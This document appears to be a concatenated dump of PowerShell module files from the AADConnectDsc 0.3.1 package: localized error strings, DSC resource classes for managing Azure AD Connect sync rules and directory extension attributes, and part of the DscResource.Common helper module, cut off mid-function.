(DRC0040) PropertyNotInDesiredStateMessage = Property '{0}' is not in desired state. (DRC0041) NoMatchKeyMessage = NOTMATCH: Value (type '{0}') for property '{1}' does not match. Current state has the key(s) '{2}' and desired state has not. (DRC0042) ## Assert-ElevatedUser ElevatedUser_UserNotElevated = This command must run in an elevated PowerShell session. (DRC0043) ## Assert-RequiredCommandParameter RequiredCommandParameter_SpecificParametersMustAllBeSet = The parameters '{0}' must all be specified. (DRC0044) RequiredCommandParameter_SpecificParametersMustAllBeSetWhenParameterExist = The parameters '{0}' must all be specified if either parameter '{1}' is specified. (DRC0045) ## Find-Certificate CertificatePathError = Certificate Path '{0}' is not valid. (DRC0046) SearchingForCertificateUsingFilters = Looking for certificate in Store '{0}' using filter '{1}'. (DRC0047) ## Get-PSModulePath PSModulePath_MissingMyDocumentsPath = The My Documents folder does not exist for user '{0}'. (DRC0048) '@
AADConnectDsc.psm1
AADConnectDsc-0.3.1
#Region '.\Prefix.ps1' -1 $script:dscResourceCommonModulePath = Join-Path -Path $PSScriptRoot -ChildPath 'Modules/DscResource.Common' Import-Module -Name $script:dscResourceCommonModulePath #EndRegion '.\Prefix.ps1' 3 #Region '.\Enum\AttributeMappingFlowType.ps1' -1 enum AttributeMappingFlowType { Direct Constant Expression } #EndRegion '.\Enum\AttributeMappingFlowType.ps1' 7 #Region '.\Enum\AttributeValueMergeType.ps1' -1 enum AttributeValueMergeType { Update Replace MergeCaseInsensitive Merge } #EndRegion '.\Enum\AttributeValueMergeType.ps1' 8 #Region '.\Enum\ComparisonOperator.ps1' -1 enum ComparisonOperator { EQUAL NOTEQUAL LESSTHAN LESSTHAN_OR_EQUAL CONTAINS NOTCONTAINS STARTSWITH NOTSTARTSWITH ENDSWITH NOTENDSWITH GREATERTHAN GREATERTHAN_OR_EQUAL ISNULL ISNOTNULL ISIN ISNOTIN ISBITSET ISBITNOTSET ISMEMBEROF ISNOTMEMBEROF } #EndRegion '.\Enum\ComparisonOperator.ps1' 23 #Region '.\Enum\Ensure.ps1' -1 enum Ensure { Absent Present Unknown } #EndRegion '.\Enum\Ensure.ps1' 6 #Region '.\Classes\AADConnectDirectoryExtensionAttribute.ps1' -1 [DscResource()] class AADConnectDirectoryExtensionAttribute { [DscProperty(Key = $true)] [string]$Name [DscProperty(Key = $true)] [string]$AssignedObjectClass [DscProperty(Mandatory = $true)] [string]$Type [DscProperty(Mandatory = $true)] [bool]$IsEnabled [DscProperty()] [Ensure] $Ensure AADConnectDirectoryExtensionAttribute() { $this.Ensure = 'Present' } [bool]Test() { $currentState = Convert-ObjectToHashtable -Object $this.Get() $desiredState = Convert-ObjectToHashtable -Object $this if ($currentState.Ensure -ne $desiredState.Ensure) { return $false } if ($desiredState.Ensure -eq [Ensure]::Absent) { return $true } $compare = Test-DscParameterState -CurrentValues $currentState -DesiredValues $desiredState -TurnOffTypeChecking -SortArrayValues return $compare } [AADConnectDirectoryExtensionAttribute]Get() { $currentState = [AADConnectDirectoryExtensionAttribute]::new() $attribute = Get-AADConnectDirectoryExtensionAttribute -Name $this.Name -ErrorAction SilentlyContinue | Where-Object { $_.AssignedObjectClass -eq $this.AssignedObjectClass -and $_.Type -eq $this.Type } $currentState.Ensure = [Ensure][int][bool]$attribute $CurrentState.Name = $this.Name $currentState.AssignedObjectClass = $this.AssignedObjectClass $currentState.Type = $attribute.Type $currentState.IsEnabled = $attribute.IsEnabled return $currentState } [void]Set() { $param = Convert-ObjectToHashtable $this if ($this.Ensure -eq 'Present') { $cmdet = Get-Command -Name Add-AADConnectDirectoryExtensionAttribute $param = Sync-Parameter -Command $cmdet -Parameters $param Add-AADConnectDirectoryExtensionAttribute @param -Force } else { $cmdet = Get-Command -Name Remove-AADConnectDirectoryExtensionAttribute $param = Sync-Parameter -Command $cmdet -Parameters $param Remove-AADConnectDirectoryExtensionAttribute @param } } } #EndRegion '.\Classes\AADConnectDirectoryExtensionAttribute.ps1' 79 #Region '.\Classes\AADSyncRule.ps1' -1 [DscResource()] class AADSyncRule { [DscProperty(Key = $true)] [string]$Name [DscProperty()] [string]$Description [DscProperty()] [bool]$Disabled [DscProperty(NotConfigurable)] [string]$Identifier [DscProperty(NotConfigurable)] [string]$Version [DscProperty()] [ScopeConditionGroup[]]$ScopeFilter [DscProperty()] [JoinConditionGroup[]]$JoinFilter [DscProperty()] [AttributeFlowMapping[]]$AttributeFlowMappings [DscProperty(Key = $true)] [string]$ConnectorName [DscProperty(NotConfigurable)] [string]$Connector [DscProperty()] [int]$Precedence [DscProperty()] [string]$PrecedenceAfter [DscProperty()] [string]$PrecedenceBefore [DscProperty(Mandatory = $true)] [string]$TargetObjectType [DscProperty(Mandatory = $true)] [string]$SourceObjectType [DscProperty(Mandatory = $true)] [string]$Direction [DscProperty(Mandatory = $true)] [string]$LinkType [DscProperty()] [bool]$EnablePasswordSync [DscProperty()] [string]$ImmutableTag [DscProperty()] [bool]$IsStandardRule [DscProperty(NotConfigurable)] [bool]$IsLegacyCustomRule [DscProperty()] [Ensure]$Ensure AADSyncRule() { $this.Ensure = 'Present' } [bool]Test() { $currentState = Convert-ObjectToHashtable -Object $this.Get() $desiredState = Convert-ObjectToHashtable -Object $this #Remove all whitespace from expressions in AttributeFlowMappings, otherwise they will not match due to encoding differences foreach ($afm in $currentState.AttributeFlowMappings) { if (-not [string]::IsNullOrEmpty($afm.Expression)) { $afm.Expression = $afm.Expression -replace '\s', '' } } foreach ($afm in $desiredState.AttributeFlowMappings) { if (-not [string]::IsNullOrEmpty($afm.Expression)) { $afm.Expression = $afm.Expression -replace '\s', '' } } if ($currentState.Ensure -ne $desiredState.Ensure) { return $false } if ($desiredState.Ensure -eq [Ensure]::Absent) { return $true } $param = @{ CurrentValues = $currentState DesiredValues = $desiredState TurnOffTypeChecking = $true SortArrayValues = $true } $param.ExcludeProperties = if ($this.IsStandardRule) { $this.GetType().GetProperties().Name | Where-Object { $_ -in 'Connector', 'Version', 'Identifier' } } else { 'Connector', 'Version', 'Identifier' } $compare = Test-DscParameterState @param -ReverseCheck return $compare } [AADSyncRule]Get() { $syncRule = Get-ADSyncRule -Name $this.Name -ConnectorName $this.ConnectorName $currentState = [AADSyncRule]::new() $currentState.Name = $this.Name if ($syncRule.Count -gt 1) { Write-Error "There is more than one sync rule with the name '$($this.Name)'." $currentState.Ensure = 'Unknown' return $currentState } $currentState.Ensure = [Ensure][int][bool]$syncRule $currentState.ConnectorName = (Get-ADSyncConnector | Where-Object Identifier -EQ $syncRule.Connector).Name $currentState.Connector = $syncRule.Connector $currentState.Description = $syncRule.Description $currentState.Disabled = $syncRule.Disabled $currentState.Direction = $syncRule.Direction $currentState.EnablePasswordSync = $syncRule.EnablePasswordSync $currentState.Identifier = $syncRule.Identifier $currentState.LinkType = $syncRule.LinkType $currentState.Precedence = $syncRule.Precedence $currentState.ScopeFilter = @() foreach ($scg in $syncRule.ScopeFilter) { $scg2 = [ScopeConditionGroup]::new() foreach ($sc in $scg.ScopeConditionList) { $sc2 = [ScopeCondition]::new($sc.Attribute, $sc.ComparisonValue, $sc.ComparisonOperator) $scg2.ScopeConditionList += $sc2 } $currentState.ScopeFilter += $scg2 } $currentState.JoinFilter = @() foreach ($jcg in $syncRule.JoinFilter) { $jcg2 = [JoinConditionGroup]::new() foreach ($jc in $jcg.JoinConditionList) { $jc2 = [JoinCondition]::new($jc.CSAttribute, $jc.MVAttribute, $jc.CaseSensitive) $jcg2.JoinConditionList += $jc2 } $currentState.JoinFilter += $jcg2 } $currentState.AttributeFlowMappings = @() foreach ($af in $syncRule.AttributeFlowMappings) { $af2 = [AttributeFlowMapping]::new() $af2.Source = $af.Source[0] $af2.Destination = $af.Destination $af2.ExecuteOnce = $af.ExecuteOnce $af2.FlowType = $af.FlowType $af2.ValueMergeType = $af.ValueMergeType if ($null -eq $af.Expression) { $af2.Expression = '' } else { $af2.Expression = $af.Expression } $currentState.AttributeFlowMappings += $af2 } $currentState.SourceObjectType = $syncRule.SourceObjectType $currentState.TargetObjectType = $syncRule.TargetObjectType $currentState.Version = $syncRule.Version $currentState.IsStandardRule = $syncRule.IsStandardRule $currentState.IsLegacyCustomRule = $syncRule.IsLegacyCustomRule return $currentState } [void]Set() { $this.Connector = (Get-ADSyncConnector | Where-Object Name -EQ $this.ConnectorName).Identifier $existingRule = Get-ADSyncRule -Name $this.Name -ConnectorName $this.ConnectorName $this.Identifier = if ($existingRule) { $existingRule.Identifier } else { New-Guid2 -InputString $this.Name } $allParameters = Convert-ObjectToHashtable -Object $this if ($this.Ensure -eq 'Present') { if ($this.IsStandardRule) { if ($null -eq $existingRule) { Write-Error "A syncrule defined as 'IsStandardRule' does not exist. It cannot be enabled or disabled." return } Write-Warning "The only property changed on a standard rule is 'Disabled'. All other configuration drifts will not be corrected." $existingRule.Disabled = $this.Disabled $existingRule | Add-ADSyncRule } else { if ($existingRule.IsStandardRule) { Write-Error 'It is not allowed to modify a standard rule. It can only be enabled or disabled.' return } $cmdet = Get-Command -Name New-ADSyncRule $param = Sync-Parameter -Command $cmdet -Parameters $allParameters $rule = New-ADSyncRule @param if ($this.ScopeFilter) { foreach ($scg in $this.ScopeFilter) { $scopeConditions = foreach ($sc in $scg.ScopeConditionList) { [Microsoft.IdentityManagement.PowerShell.ObjectModel.ScopeCondition]::new($sc.Attribute, $sc.ComparisonValue, $sc.ComparisonOperator) } $rule | Add-ADSyncScopeConditionGroup -ScopeConditions $scopeConditions } } if ($this.JoinFilter) { foreach ($jcg in $this.JoinFilter) { $joinConditions = foreach ($jc in $jcg.JoinConditionList) { [Microsoft.IdentityManagement.PowerShell.ObjectModel.JoinCondition]::new($jc.CSAttribute, $jc.MVAttribute, $jc.CaseSensitive) } $rule | Add-ADSyncJoinConditionGroup -JoinConditions $joinConditions } } if ($this.AttributeFlowMappings) { foreach ($af in $this.AttributeFlowMappings) { $afHashTable = Convert-ObjectToHashtable -Object $af $param = Sync-Parameter -Command (Get-Command -Name Add-ADSyncAttributeFlowMapping) -Parameters $afHashTable $param.SynchronizationRule = $rule if ([string]::IsNullOrEmpty($param.Expression)) { $param.Remove('Expression') } if ([string]::IsNullOrEmpty($param.Source)) { $param.Remove('Source') } Add-ADSyncAttributeFlowMapping @param } } $rule | Add-ADSyncRule } } else { if ($existingRule) { Remove-ADSyncRule -Identifier $this.Identifier } } } } #EndRegion '.\Classes\AADSyncRule.ps1' 314 #Region '.\Classes\AttributeFlowMapping.ps1' -1 class AttributeFlowMapping { AttributeFlowMapping() { } [DscProperty(Key)] [string]$Destination [DscProperty()] [bool]$ExecuteOnce [DscProperty(Key)] [string]$Expression [DscProperty(Key)] [AttributeMappingFlowType]$FlowType [DscProperty(NotConfigurable)] [string]$MappingSourceAsString [DscProperty(Key)] [string]$Source [DscProperty()] [AttributeValueMergeType]$ValueMergeType } #EndRegion '.\Classes\AttributeFlowMapping.ps1' 28 #Region '.\Classes\JoinCondition.ps1' -1 class JoinCondition { [DscProperty()] [string]$CSAttribute [DscProperty()] [string]$MVAttribute [DscProperty()] [bool]$CaseSensitive JoinCondition() { } JoinCondition([string]$CSAttribute, [string]$MVAttribute, [bool]$CaseSensitive) { $this.CSAttribute = $CSAttribute $this.MVAttribute = $MVAttribute $this.CaseSensitive = $CaseSensitive } } #EndRegion '.\Classes\JoinCondition.ps1' 23 #Region '.\Classes\JoinConditionGroup.ps1' -1 class JoinConditionGroup { [DscProperty()] [JoinCondition[]]$JoinConditionList ScopeConditionGroup() { } } #EndRegion '.\Classes\JoinConditionGroup.ps1' 11 #Region '.\Classes\ScopeCondition.ps1' -1 class ScopeCondition { [DscProperty()] [string]$Attribute [DscProperty()] [string]$ComparisonValue [DscProperty()] [ComparisonOperator]$ComparisonOperator ScopeCondition() { } ScopeCondition([hashtable]$Definition) { $this.Attribute = $Definition['Attribute'] $this.ComparisonValue = $Definition['ComparisonValue'] $this.ComparisonOperator = $Definition['ComparisonOperator'] } ScopeCondition([string]$Attribute, [string]$ComparisonValue, [string]$ComparisonOperator) { $this.Attribute = $Attribute $this.ComparisonValue = $ComparisonValue $this.ComparisonOperator = $ComparisonOperator } } #EndRegion '.\Classes\ScopeCondition.ps1' 30 #Region '.\Classes\ScopeConditionGroup.ps1' -1 class ScopeConditionGroup { [DscProperty()] [ScopeCondition[]]$ScopeConditionList ScopeConditionGroup() { } } #EndRegion '.\Classes\ScopeConditionGroup.ps1' 11 #Region '.\Private\New-Guid2.ps1' -1 function New-Guid2 { [CmdletBinding()] param( [Parameter(Mandatory = $true)] [string] $InputString ) $md5 = [System.Security.Cryptography.MD5]::Create() $hash = $md5.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($InputString)) return [System.Guid]::new($hash).Guid } #EndRegion '.\Private\New-Guid2.ps1' 14 #Region '.\Public\Add-AADConnectDirectoryExtensionAttribute.ps1' -1 function Add-AADConnectDirectoryExtensionAttribute { [CmdletBinding(DefaultParameterSetName = 'ByProperties')] param ( [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'ByProperties')] [string]$Name, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'ByProperties')] [string]$Type, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'ByProperties')] [string]$AssignedObjectClass, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'ByProperties')] [bool]$IsEnabled, [Parameter(Mandatory = $true, ParameterSetName = 'SingleObject')] [string]$FullAttributeString, [Parameter()] [switch]$Force ) process { $currentAttributes = Get-AADConnectDirectoryExtensionAttribute if ($FullAttributeString) { $attributeValues = $FullAttributeString -split '\.' if ($attributeValues.Count -ne 4) { Write-Error "The attribute string did not have the correct format. Make sure it is like 'attributeName.group.String.True'" return } $Name = $attributeValues[0] $AssignedObjectClass = $attributeValues[1] $Type = $attributeValues[2] $IsEnabled = $attributeValues[3] } if ($currentAttributes | Where-Object { $_.Name -eq $Name -and $_.AssignedObjectClass -eq $AssignedObjectClass -and $_.Type -eq $Type -and $_.IsEnabled -eq $IsEnabled }) { Write-Error "The attribute '$Name' with the type '$Type' assigned to the class '$AssignedObjectClass' is already defined." return } if (($existingAttribute = $currentAttributes | Where-Object { $_.Name -eq $Name -and $_.Type -ne $Type }) -and -not $Force) { Write-Error "The attribute '$Name' is already defined with the type '$($existingAttribute.Type)'." return } else { $existingAttribute | Remove-AADConnectDirectoryExtensionAttribute } $settings = Get-ADSyncGlobalSettings $attributeParameter = $settings.Parameters | Where-Object Name -EQ Microsoft.OptionalFeature.DirectoryExtensionAttributes $currentAttributeList = $attributeParameter.Value -split ',' $newAttributeString = "$Name.$AssignedObjectClass.$Type.$IsEnabled" $currentAttributeList += $newAttributeString $attributeParameter.Value = $currentAttributeList -join ',' $settings.Parameters.AddOrReplace($attributeParameter) Set-ADSyncGlobalSettings -GlobalSettings $settings | Out-Null } } #EndRegion '.\Public\Add-AADConnectDirectoryExtensionAttribute.ps1' 79 #Region '.\Public\Convert-ObjectToHashtable.ps1' -1 function Convert-ObjectToHashtable { [OutputType([hashtable])] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [object]$Object ) process { $hashtable = @{ } foreach ($property in $Object.PSObject.Properties.Where({ $null -ne $_.Value })) { $hashtable.Add($property.Name, $property.Value) } $hashtable } } #EndRegion '.\Public\Convert-ObjectToHashtable.ps1' 21 #Region '.\Public\Get-AADConnectDirectoryExtensionAttribute.ps1' -1 function Get-AADConnectDirectoryExtensionAttribute { param ( [Parameter()] [string]$Name ) $settings = Get-ADSyncGlobalSettings $attributeParameter = $settings.Parameters | Where-Object Name -EQ Microsoft.OptionalFeature.DirectoryExtensionAttributes $attributes = $attributeParameter.Value -split ',' if (-not $attributes) { return } if ($Name) { $attributes = $attributes | Where-Object { $_ -like "$Name.*" } if (-not $attributes) { Write-Error "The attribute '$Name' is not defined." return } } foreach ($attribute in $attributes) { $attribute = $attribute -split '\.' [pscustomobject]@{ Name = $attribute[0] Type = $attribute[2] AssignedObjectClass = $attribute[1] IsEnabled = $attribute[3] } } } #EndRegion '.\Public\Get-AADConnectDirectoryExtensionAttribute.ps1' 39 #Region '.\Public\Get-ADSyncRule.ps1' -1 function Get-ADSyncRule { [CmdletBinding(DefaultParameterSetName = 'ByName')] param ( [Parameter(ParameterSetName = 'ByName')] [Parameter(Mandatory = $true, ParameterSetName = 'ByNameAndConnector')] [string] $Name, [Parameter(ParameterSetName = 'ByIdentifier')] [guid] $Identifier, [Parameter(Mandatory = $true, ParameterSetName = 'ByNameAndConnector')] [Parameter(Mandatory = $true, ParameterSetName = 'ByConnector')] [string] $ConnectorName ) $connectors = Get-ADSyncConnector if ($PSCmdlet.ParameterSetName -eq 'ByIdentifier') { ADSync\Get-ADSyncRule -Identifier $Identifier } elseif ($PSCmdlet.ParameterSetName -eq 'ByName') { if ($Name) { ADSync\Get-ADSyncRule | Where-Object Name -EQ $Name } else { ADSync\Get-ADSyncRule } } elseif ($PSCmdlet.ParameterSetName -eq 'ByConnector') { $connector = $connectors | Where-Object Name-eq $ConnectorName ADSync\Get-ADSyncRule | Where-Object Connector -EQ $connector.Identifier } elseif ($PSCmdlet.ParameterSetName -eq 'ByNameAndConnector') { $connector = $connectors | Where-Object Name -EQ $ConnectorName if ($null -eq $connector) { Write-Error "The connector '$ConnectorName' does not exist" return } ADSync\Get-ADSyncRule | Where-Object { $_.Name -eq $Name -and $_.Connector -eq $connector.Identifier } } else { ADSync\Get-ADSyncRule } } #EndRegion '.\Public\Get-ADSyncRule.ps1' 57 #Region '.\Public\Remove-AADConnectDirectoryExtensionAttribute.ps1' -1 function Remove-AADConnectDirectoryExtensionAttribute { [CmdletBinding(DefaultParameterSetName = 'ByProperties')] param ( [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'ByProperties')] [string]$Name, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'ByProperties')] [string]$Type, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'ByProperties')] [string]$AssignedObjectClass, [Parameter(Mandatory = $true, ParameterSetName = 'SingleObject')] $FullAttributeString ) process { $currentAttributes = Get-AADConnectDirectoryExtensionAttribute if ($FullAttributeString) { $attributeValues = $FullAttributeString -split '\.' if ($attributeValues.Count -ne 4) { Write-Error "The attribute string did not have the correct format. Make sure it is like 'attributeName.group.String.True'". return } $Name = $attributeValues[0] $AssignedObjectClass = $attributeValues[1] $Type = $attributeValues[2] $IsEnabled = $attributeValues[3] } if (-not ($existingAttribute = $currentAttributes | Where-Object { $_.Name -eq $Name -and $_.AssignedObjectClass -eq $AssignedObjectClass -and $_.Type -eq $Type })) { Write-Error "The attribute '$Name' with the type '$Type' assigned to the class '$AssignedObjectClass' is not defined." return } $settings = Get-ADSyncGlobalSettings $attributeParameter = $settings.Parameters | Where-Object Name -EQ Microsoft.OptionalFeature.DirectoryExtensionAttributes $currentAttributeList = $attributeParameter.Value -split ',' $attributeStringToRemove = "$($existingAttribute.Name).$($existingAttribute.AssignedObjectClass).$($existingAttribute.Type).$($existingAttribute.IsEnabled)" $currentAttributeList = $currentAttributeList -ne $attributeStringToRemove $attributeParameter.Value = $currentAttributeList -join ',' $settings.Parameters.AddOrReplace($attributeParameter) Set-ADSyncGlobalSettings -GlobalSettings $settings | Out-Null } } #EndRegion '.\Public\Remove-AADConnectDirectoryExtensionAttribute.ps1' 59
DscResource.Common.psd1
AADConnectDsc-0.3.1
@{ # Script module or binary module file associated with this manifest. RootModule = 'DscResource.Common.psm1' # Version number of this module. ModuleVersion = '0.19.0' # ID used to uniquely identify this module GUID = '9c9daa5b-5c00-472d-a588-c96e8e498450' # Author of this module Author = 'DSC Community' # Company or vendor of this module CompanyName = 'DSC Community' # Copyright statement for this module Copyright = 'Copyright the DSC Community contributors. All rights reserved.' # Description of the functionality provided by this module Description = 'Common functions used in DSC Resources' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '4.0' # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @('Assert-BoundParameter','Assert-ElevatedUser','Assert-IPAddress','Assert-Module','Compare-DscParameterState','Compare-ResourcePropertyState','ConvertFrom-DscResourceInstance','ConvertTo-CimInstance','ConvertTo-HashTable','Find-Certificate','Get-ComputerName','Get-DscProperty','Get-EnvironmentVariable','Get-LocalizedData','Get-LocalizedDataForInvariantCulture','Get-PSModulePath','Get-TemporaryFolder','Get-UserName','New-ArgumentException','New-ErrorRecord','New-Exception','New-InvalidDataException','New-InvalidOperationException','New-InvalidResultException','New-NotImplementedException','New-ObjectNotFoundException','Remove-CommonParameter','Set-DscMachineRebootRequired','Set-PSModulePath','Test-AccountRequirePassword','Test-DscParameterState','Test-DscProperty','Test-IsNanoServer','Test-IsNumericType','Test-ModuleExist') # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = @() # Variables to export from this module VariablesToExport = @() # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = 'New-InvalidArgumentException' # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = @('DSC', 'Localization') # A URL to the license for this module. LicenseUri = 'https://github.com/dsccommunity/DscResource.Common/blob/main/LICENSE' # A URL to the main website for this project. ProjectUri = 'https://github.com/dsccommunity/DscResource.Common' # A URL to an icon representing this module. IconUri = 'https://dsccommunity.org/images/DSC_Logo_300p.png' # ReleaseNotes of this module ReleaseNotes = '## [0.19.0] - 2024-10-15 ### Changed - Unit Tests - Updated path to `build.ps1` in BeforeDiscovery block. - `Assert-Module` - Added `SkipEditionCheck` for PS6+. Fixes [#131](https://github.com/dsccommunity/DscResource.Common/issues/131). ' Prerelease = '' } # End of PSData hashtable } # End of PrivateData hashtable }
DscResource.Common.psm1
AADConnectDsc-0.3.1
#Region './prefix.ps1' -1 $script:modulesFolderPath = Split-Path -Path $PSScriptRoot -Parent #EndRegion './prefix.ps1' 2 #Region './Private/Assert-RequiredCommandParameter.ps1' -1 <# .SYNOPSIS Assert that required parameters has been specified. .DESCRIPTION Assert that required parameters has been specified, and throws an exception if not. .PARAMETER BoundParameterList A hashtable containing the parameters to evaluate. Normally this is set to $PSBoundParameters. .PARAMETER RequiredParameter One or more parameter names that is required to have been specified. .PARAMETER IfParameterPresent One or more parameter names that if specified will trigger the evaluation. If neither of the parameter names has been specified the evaluation of required parameters are not made. .EXAMPLE Assert-RequiredCommandParameter -BoundParameter $PSBoundParameters -RequiredParameter @('PBStartPortRange', 'PBEndPortRange') Throws an exception if either of the two parameters are not specified. .EXAMPLE Assert-RequiredCommandParameter -BoundParameter $PSBoundParameters -RequiredParameter @('Property2', 'Property3') -IfParameterPresent @('Property1') Throws an exception if the parameter 'Property1' is specified and either of the required parameters are not. .OUTPUTS None. #> function Assert-RequiredCommandParameter { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.Collections.Hashtable] $BoundParameterList, [Parameter(Mandatory = $true)] [System.String[]] $RequiredParameter, [Parameter()] [System.String[]] $IfParameterPresent ) $evaluateRequiredParameter = $true if ($PSBoundParameters.ContainsKey('IfParameterPresent')) { $hasIfParameterPresent = $BoundParameterList.Keys.Where( { $_ -in $IfParameterPresent } ) if (-not $hasIfParameterPresent) { $evaluateRequiredParameter = $false } } if ($evaluateRequiredParameter) { foreach ($parameter in $RequiredParameter) { if ($parameter -notin $BoundParameterList.Keys) { $errorMessage = if ($PSBoundParameters.ContainsKey('IfParameterPresent')) { $script:localizedData.RequiredCommandParameter_SpecificParametersMustAllBeSetWhenParameterExist -f ($RequiredParameter -join ''', '''), ($IfParameterPresent -join ''', ''') } else { $script:localizedData.RequiredCommandParameter_SpecificParametersMustAllBeSet -f ($RequiredParameter -join ''', ''') } $PSCmdlet.ThrowTerminatingError( [System.Management.Automation.ErrorRecord]::new( $errorMessage, 'ARCP0001', # cspell: disable-line [System.Management.Automation.ErrorCategory]::InvalidOperation, 'Command parameters' ) ) } } } } #EndRegion './Private/Assert-RequiredCommandParameter.ps1' 90 #Region './Private/Test-DscObjectHasProperty.ps1' -1 <# .SYNOPSIS Tests if an object has a property. .DESCRIPTION Tests if the specified object has the specified property and return $true or $false. .PARAMETER Object Specifies the object to test for the specified property. .PARAMETER PropertyName Specifies the property name to test for. .EXAMPLE Test-DscObjectHasProperty -Object 'AnyString' -PropertyName 'Length' #> function Test-DscObjectHasProperty { [CmdletBinding()] [OutputType([System.Boolean])] param ( [Parameter(Mandatory = $true)] [System.Object] $Object, [Parameter(Mandatory = $true)] [System.String] $PropertyName ) if ($Object.PSObject.Properties.Name -contains $PropertyName) { return [System.Boolean] $Object.$PropertyName } return $false } #EndRegion './Private/Test-DscObjectHasProperty.ps1' 40 #Region './Private/Test-DscPropertyIsAssigned.ps1' -1 <# .SYNOPSIS Tests whether the class-based resource property is assigned a non-null value. .DESCRIPTION Tests whether the class-based resource property is assigned a non-null value. .PARAMETER InputObject Specifies the object that contain the property. .PARAMETER Name Specifies the name of the property. .EXAMPLE Test-DscPropertyIsAssigned -InputObject $this -Name 'MyDscProperty' Returns $true or $false whether the property is assigned or not. .OUTPUTS [System.Boolean] .NOTES This command only works with nullable data types, if using a non-nullable type make sure to make it nullable, e.g. [nullable[System.Int32]]. #> function Test-DscPropertyIsAssigned { [CmdletBinding()] [OutputType([System.Boolean])] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [PSObject] $InputObject, [Parameter(Mandatory = $true)] [System.String] $Name ) begin { $isAssigned = $false } process { $isAssigned = -not ($null -eq $InputObject.$Name) } end { return $isAssigned } } #EndRegion './Private/Test-DscPropertyIsAssigned.ps1' 56 #Region './Private/Test-DscPropertyState.ps1' -1 <# .SYNOPSIS Compares the current and the desired value of a property. .DESCRIPTION This function is used to compare the current and the desired value of a property. .PARAMETER Values This is set to a hash table with the current value (the CurrentValue key) and desired value (the DesiredValue key). .EXAMPLE Test-DscPropertyState -Values @{ CurrentValue = 'John' DesiredValue = 'Alice' } .EXAMPLE Test-DscPropertyState -Values @{ CurrentValue = 1 DesiredValue = 2 } .NOTES This function is used by the command Compare-ResourcePropertyState. #> function Test-DscPropertyState { [CmdletBinding()] [OutputType([System.Boolean])] param ( [Parameter(Mandatory = $true)] [System.Collections.Hashtable] $Values ) if ($null -eq $Values.CurrentValue -and $null -eq $Values.DesiredValue) { # Both values are $null so return $true $returnValue = $true } elseif ($null -eq $Values.CurrentValue -or $null -eq $Values.DesiredValue) { # Either CurrentValue or DesiredValue are $null so return $false $returnValue = $false } elseif ( $Values.DesiredValue -is [Microsoft.Management.Infrastructure.CimInstance[]] ` -or $Values.DesiredValue -is [System.Array] -and $Values.DesiredValue[0] -is [Microsoft.Management.Infrastructure.CimInstance] ) { if (-not $Values.ContainsKey('KeyProperties')) { $errorMessage = $script:localizedData.KeyPropertiesMissing New-InvalidOperationException -Message $errorMessage } $propertyState = @() <# It is a collection of CIM instances, then recursively call Test-DscPropertyState for each CIM instance in the collection. #> foreach ($desiredCimInstance in $Values.DesiredValue) { $currentCimInstance = $Values.CurrentValue <# Use the CIM instance Key properties to filter out the current values if the exist. #> foreach ($keyProperty in $Values.KeyProperties) { $currentCimInstance = $currentCimInstance | Where-Object -Property $keyProperty -EQ -Value $desiredCimInstance.$keyProperty } if ($currentCimInstance.Count -gt 1) { $errorMessage = $script:localizedData.TooManyCimInstances New-InvalidOperationException -Message $errorMessage } if ($currentCimInstance) { $keyCimInstanceProperties = $currentCimInstance.CimInstanceProperties | Where-Object -FilterScript { $_.Name -in $Values.KeyProperties } <# For each key property build a string representation of the property name and its value. #> $keyPropertyValues = $keyCimInstanceProperties.ForEach({'{0}="{1}"' -f $_.Name, ($_.Value -join ',')}) Write-Debug -Message ( $script:localizedData.TestingCimInstance -f @( $currentCimInstance.CimClass.CimClassName, ($keyPropertyValues -join ';') ) ) } else { $keyCimInstanceProperties = $desiredCimInstance.CimInstanceProperties | Where-Object -FilterScript { $_.Name -in $Values.KeyProperties } <# For each key property build a string representation of the property name and its value. #> $keyPropertyValues = $keyCimInstanceProperties.ForEach({'{0}="{1}"' -f $_.Name, ($_.Value -join ',')}) Write-Debug -Message ( $script:localizedData.MissingCimInstance -f @( $desiredCimInstance.CimClass.CimClassName, ($keyPropertyValues -join ';') ) ) } # Recursively call Test-DscPropertyState with the CimInstance to evaluate. $propertyState += Test-DscPropertyState -Values @{ CurrentValue = $currentCimInstance DesiredValue = $desiredCimInstance } } # Return $false if one property is found to not be in desired state. $returnValue = -not ($false -in $propertyState) } elseif ($Values.DesiredValue -is [Microsoft.Management.Infrastructure.CimInstance]) { $propertyState = @() <# It is a CIM instance, recursively call Test-DscPropertyState for each CIM instance property. #> $desiredCimInstanceProperties = $Values.DesiredValue.CimInstanceProperties | Select-Object -Property @('Name', 'Value') if ($desiredCimInstanceProperties) { foreach ($desiredCimInstanceProperty in $desiredCimInstanceProperties) { <# Recursively call Test-DscPropertyState to evaluate each property in the CimInstance. #> $propertyState += Test-DscPropertyState -Values @{ CurrentValue = $Values.CurrentValue.($desiredCimInstanceProperty.Name) DesiredValue = $desiredCimInstanceProperty.Value } } } else { if ($Values.CurrentValue.CimInstanceProperties.Count -gt 0) { # Current value did not have any CIM properties, but desired state has. $propertyState += $false } } # Return $false if one property is found to not be in desired state. $returnValue = -not ($false -in $propertyState) } elseif ($Values.DesiredValue -is [System.Array] -or $Values.CurrentValue -is [System.Array]) { $compareObjectParameters = @{ ReferenceObject = 